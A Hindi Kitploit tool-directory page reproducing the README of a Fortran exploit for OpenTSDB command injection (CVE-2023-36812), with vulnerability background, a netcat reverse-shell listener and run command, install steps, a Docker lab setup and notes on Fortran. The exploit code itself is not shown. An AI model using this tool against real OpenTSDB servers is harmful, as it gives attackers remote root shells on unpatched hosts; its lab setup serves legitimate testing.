Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
opentsdb_key_cmd_injection — OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) के लिए Fortran में लिखा गया एक एक्सप्लॉइट। | Kitploit
उपकरण/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHuberikwynter/opentsdb_key_cmd_injection

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

opentsdb_key_cmd_injection

OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) के लिए Fortran में लिखा गया एक एक्सप्लॉइट।

रिपॉजिटरी देखें
712 साल पहलेअभी तक समीक्षित नहीं

opentsdb_key_cmd_injection

OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) के लिए Fortran में लिखा गया एक एक्सप्लॉयट

परिचय

यह OpenTSDB के संस्करण 2.4.1 और उससे पहले के संस्करणों में मौजूद कमांड इंजेक्शन भेद्यता (CVE-2023-36812/CVE-2023-25826) के लिए एक एक्सप्लॉयट है। यह एक्सप्लॉयट आधुनिक Fortran में लिखा गया है और इस वर्ष की शुरुआत में बनाई गई आधिकारिक Fortran http-client लाइब्रेरी का उपयोग करता है।

भेद्यता विवरण

OpenTSDB Java में लिखा गया एक ओपन-सोर्स टाइम सीरीज़ डेटाबेस है। 2020 में, संस्करण 2.4.0 और उससे पहले के संस्करणों में एक कमांड इंजेक्शन भेद्यता खोजी गई थी, जिसका उपयोग होस्ट पर रूट विशेषाधिकारों के साथ रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता था। चूँकि OpenTSDB प्रमाणीकरण का समर्थन नहीं करता है, यह भेद्यता, जिसे CVE-2020-35476 के रूप में ट्रैक किया गया है, OpenTSDB वेब इंटरफ़ेस तक पहुँच रखने वाला कोई भी व्यक्ति exploit कर सकता था। यह समस्या संस्करण 2.4.1 में ठीक कर दी गई थी।

इस वर्ष पता चला कि CVE-2020-35476 के लिए पैच अधूरा था, और OpenTSDB 2.4.1 में कई वैक्टरों के माध्यम से कमांड इंजेक्शन अभी भी संभव है।

विवरण:

  • इस रूप में ट्रैक किया गया: CVE-2023-36812। यह ध्यान देने योग्य है कि CVE-2023-25826 वास्तव में उसी भेद्यता का वर्णन करता प्रतीत होता है, और दोनों CVE एक ही पैच से जुड़े हैं।
  • सुरक्षा सलाह: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • श्रेय: Oxeye के Gal Goldstein और Daniel Abeles
  • पैच: यह पैच 2.4.2 में पेश किया जाएगा, जो अभी तक एक आधिकारिक रिलीज़ नहीं है। लिखते समय, सबसे हालिया OpenTSDB रिलीज़ 2.4.1 है, इसलिए संभावना है कि प्रोडक्शन में अधिकांश OpenTSDB इंस्टेंस असुरक्षित हैं। फिर भी, OpenTSDB FAQ इस बात पर ज़ोर देता है कि यह प्रोजेक्ट "केवल आंतरिक उपयोग के लिए लिखा गया था", और "किसी भी सुरक्षा समीक्षा से नहीं गुज़रा है और इसमें प्रमाणीकरण शामिल नहीं है।"

Fortran क्यों?

संक्षिप्त संस्करण यह है कि मैंने यह बातचीत देखी: why

चाँद पर लोगों को भेजने के लिए इस्तेमाल की गई प्रोग्रामिंग भाषा में एक एक्सप्लॉयट लिखने का विचार मुझे इतना दिलचस्प लगा कि मुझे इसे स्वयं आज़माना पड़ा। यह एक्सप्लॉयट उस प्रयोग का परिणाम है। इस सवाल पर कि क्या यह सफल रहा, मैं केवल इन बुद्धिमान, फिर भी अभिशप्त शब्दों के साथ उत्तर दे सकता हूँ जो सभी डेवलपर्स को रक्त-बंधन में बाँधते हैं: यह मेरी मशीन पर काम करता है। ¯\(ツ)/¯

किसी भी मामले में, इस प्रोजेक्ट से मेरे मुख्य निष्कर्ष हैं:

  • Fortran वास्तव में काफी शानदार है, और आश्चर्यजनक रूप से सीखने में आसान है।
  • fpm पैकेज मैनेजर सहित आधुनिक Fortran इकोसिस्टम काफी आशाजनक दिखता है।
  • Fortran एक strongly typed भाषा है, और मुझे यह अच्छा लगा, क्योंकि मुझे बहुत कम गंभीर रन-टाइम त्रुटियाँ मिलीं।
  • डिपेंडेंसी वाले Fortran प्रोजेक्ट बड़े होते हैं क्योंकि fpm डिपेंडेंसी के सोर्स कोड को सीधे आपके प्रोजेक्ट में शामिल करता है। इसका लाभ यह है कि यह सिस्टम प्रदूषण से बचाता है।
  • आधुनिक भाषाओं की तुलना में लाइब्रेरी सपोर्ट अपेक्षाकृत सीमित और अव्यवस्थित है। दुर्भाग्य से, यह केवल http-client लाइब्रेरी को प्रभावित नहीं करता है।
  • जैसा कि उम्मीद थी, अधिकांश आधुनिक प्रोग्रामिंग भाषाओं की तुलना में अच्छे दस्तावेज़ और समस्या निवारण युक्तियाँ मिलना कठिन है, हालाँकि StackOverflow और 2000 के दशक की शुरुआत के लंबे समय से भूली गई फ़ोरम पर अभी भी काफी उपयोगी पोस्ट मौजूद हैं।
  • ChatGPT और GithHub Copilot जैसे AI उपकरण आधुनिक भाषाओं की तुलना में और भी कम विश्वसनीय कोडिंग साथी साबित होते हैं।

कुल मिलाकर, यह कल्पना करना आसान नहीं है कि यह भाषा offensive security के भीतर वास्तव में महत्व प्राप्त करेगी, अगर केवल इसलिए कि किसी भी कल्पनीय उपयोग के मामले के लिए बहुत सारे ठोस, आधुनिक विकल्प मौजूद हैं (कुछ नाम लेने के लिए Python, Go, Rust, Ruby, C#)। लेकिन अगर आपको विभिन्न प्रोग्रामिंग भाषाओं के साथ प्रयोग करना पसंद है और आपको अपने स्ट्रिंग्स को हर समय trim() कॉल में लपेटने में कोई आपत्ति नहीं है (कृपया इस पर ध्यान दें, यह आपको बहुत पीड़ा से बचाएगा), तो Fortran को आज़माना निश्चित रूप से उचित है। मैं अब वास्तव में इस भाषा का समर्थन कर रहा हूँ और अगर वे http-client लाइब्रेरी में समर्थन जोड़ते रहें तो मैं इसे फिर से देख सकता हूँ, खासकर अगर वे किसी बिंदु पर एक http-server लाइब्रेरी जोड़ते हैं।

TL;DR: Fortran http-client lib goes brr.

उपयोग

  • अपने सिस्टम पर एक listener शुरू करें, उदाहरण के लिए:
root@kitploit:~
nc -nlvp 1337
  • एक अलग विंडो में, opentsdb_key_cmd_injection निर्देशिका पर जाएँ
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • fpm के माध्यम से प्रोजेक्ट चलाएँ (पहले इसे इंस्टॉल करना सुनिश्चित करें। अगले अनुभाग में इंस्टॉलेशन निर्देश देखें)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

विकल्प:

  • -t - TARGET URL: OpenTSDB का बेस URL (आवश्यक)
  • -l - LHOST: उस सिस्टम का IP जहाँ आप listener चला रहे हैं (आवश्यक)
  • -p - LPORT: listener पोर्ट (आवश्यक)
  • -v - VERBOSE: विस्तृत (verbose) प्रिंटिंग सक्षम करें (वैकल्पिक)

इंस्टॉलेशन

  • gfortran इंस्टॉल करें। Debian-आधारित सिस्टम पर यह इस प्रकार किया जा सकता है:
root@kitploit:~
apt install gfortran
  • fpm इंस्टॉल करें। ऐसा करने का सबसे आसान तरीका GitHub पर fpm releases से नवीनतम स्थिर रिलीज़ के लिए बाइनरी डाउनलोड करना और फिर इसे executable बनाना है:
root@kitploit:~
chmod +x /<path>/to/fpm

fpm इंस्टॉल करने से पहले सुनिश्चित करें कि आपके सिस्टम पर git इंस्टॉल है।

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

परीक्षण के लिए OpenTSDB इंस्टेंस सेट करना

मैन्युअल इंस्टॉलेशन (अनुशंसित नहीं)

मैन्युअल इंस्टॉलेशन के लिए, आप आधिकारिक इंस्टॉलेशन निर्देश यहाँ का पालन कर सकते हैं। हालाँकि यह काफी कष्टप्रद हो सकता है, इसलिए मैं इसके बजाय docker का उपयोग करने की सलाह दूँगा।

Docker इंस्टॉलेशन (अनुशंसित)

संस्करण 2.4.0 के लिए, आप vulnhub docker छवि का उपयोग कर सकते हैं और इंस्टॉलेशन निर्देश यहाँ का पालन कर सकते हैं। वह छवि CVE-2020-35476 के लिए बनाई गई थी, जो OpenTSDB 2.4.0 तक एक पुरानी भेद्यता है।

संस्करण 2.4.1 और संभवतः किसी भी अन्य संस्करण के लिए, आप OpenTSDB 2.4.0 के लिए vulhub छवि का लाभ उठा सकते हैं और जिस संस्करण को आप चाहते हैं उसे इंस्टॉल करने के लिए उसे संपादित कर सकते हैं। मैंने 2.4.1 के लिए इस दृष्टिकोण का पालन किया और यह बढ़िया काम किया।

  • सबसे पहले, यहाँ से vulhub OpenTSDB 2.4.0 Dockerfile और docker-entrypoint.sh फ़ाइलों को प्राप्त करें और उन्हें एक समर्पित निर्देशिका में रखें।
  • Dockerfile में, 2.4.0 के सभी उदाहरणों को अपने इच्छित संस्करण, जैसे 2.4.1 से बदलें।
  • docker-entrypoint.sh के लिए किसी संपादन की आवश्यकता नहीं है।
  • निम्नलिखित सामग्री के साथ एक docker-compose.yml फ़ाइल बनाएँ:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"
  • मैंने यह फ़ाइल संरचना उपयोग की:
root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • अंत में, अपने docker-compose.yml फ़ाइल वाली निर्देशिका में नीचे दिए गए कमांड को चलाकर docker-compose के माध्यम से छवि बनाएँ और चलाएँ:
root@kitploit:~
docker-compose up -d
  • कुछ सेकंड बाद, OpenTSDB पोर्ट 4242 पर उपलब्ध होगा। किसी अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता नहीं है।

Fortran का एक संक्षिप्त इतिहास (क्यों नहीं)

Fortran को अधिकतर एक पुरातन भाषा के रूप में जाना जाता है जिसने आधुनिक कंप्यूटिंग के इतिहास में महत्वपूर्ण भूमिका निभाई, लेकिन आज इसे प्रासंगिक नहीं माना जा सकता। इसे पहली बार 1957 में जारी किया गया था, जो ARPANET और Unix दोनों से एक दशक से अधिक पहले था। इस टाइम-सीरीज़ डेटा वीडियो के आधार पर, यह 1960 और 1970 के दशक में प्रमुख प्रोग्रामिंग भाषा थी, और 1990 के दशक के अंत तक 10 सबसे लोकप्रिय भाषाओं में बनी रही। लेकिन जब तक Windows 98 जारी हुआ, यह स्पष्ट रूप से फैशन से बाहर हो चुकी थी, जिसकी जगह C, C++, Java और JavaScript जैसी अधिक आधुनिक भाषाओं ने ले ली थी, जो आज भी व्यापक रूप से उपयोग की जाती हैं।

लेगसी सिस्टम संभालने वाले बहादुर लोगों के अलावा, मुझे संदेह है कि आईटी में बहुत से लोगों (हमारे दायरे से बाहर तो छोड़ ही दीजिए) ने पिछले दो दशकों में Fortran का सामना किया है, या यह भी जानते हैं कि यह अभी भी मौजूद है। इसके बावजूद, Fortran सक्रिय विकास के अधीन है। जैसा कि आधिकारिक Fortran वेबसाइट पर कहा गया है, भाषा में अंतिम संशोधन 2018 में हुआ था, और हमें उम्मीद है कि इस वर्ष (2023) एक और संशोधन देखने को मिलेगा। वास्तव में, ऐसा लगता है कि Fortran समुदाय पिछले कुछ वर्षों में बहुत सक्रिय रहा है, और इकोसिस्टम को आधुनिक बनाने में मदद के लिए कई प्रमुख प्रोजेक्ट जारी किए हैं, जिनमें शामिल हैं:

  • stdlib: पहली बार Fortran मानक लाइब्रेरी (पहली रिलीज़: 2021)
  • fpm: fpm नामक एक आधुनिक पैकेज मैनेजर और बिल्ड सिस्टम (पहली अल्फा रिलीज़: 2020)
  • http-client: पहले संदर्भित HTTP क्लाइंट लाइब्रेरी (पहली रिलीज़: 2023)।

इसे देखते हुए, ऐसा प्रतीत होता है कि अनुरक्षक किसी तरह Fortran की वापसी का लक्ष्य बना रहे हैं, या कम से कम भाषा को कुछ और दशकों तक जीवित रहने का मौका देना चाहते हैं। जबकि सबसे कट्टर Fortran प्रशंसक को भी शायद यह उम्मीद नहीं है कि यह भाषा फिर कभी सबसे लोकप्रिय प्रोग्रामिंग भाषाओं की शीर्ष 10 सूची में शामिल होगी, भाषा और उसके इकोसिस्टम के चल रहे आधुनिकीकरण ने संभवतः Fortran को पिछले एक या दो दशकों की तुलना में अधिक प्रासंगिक बना दिया है।

टूल डाउनलोड करें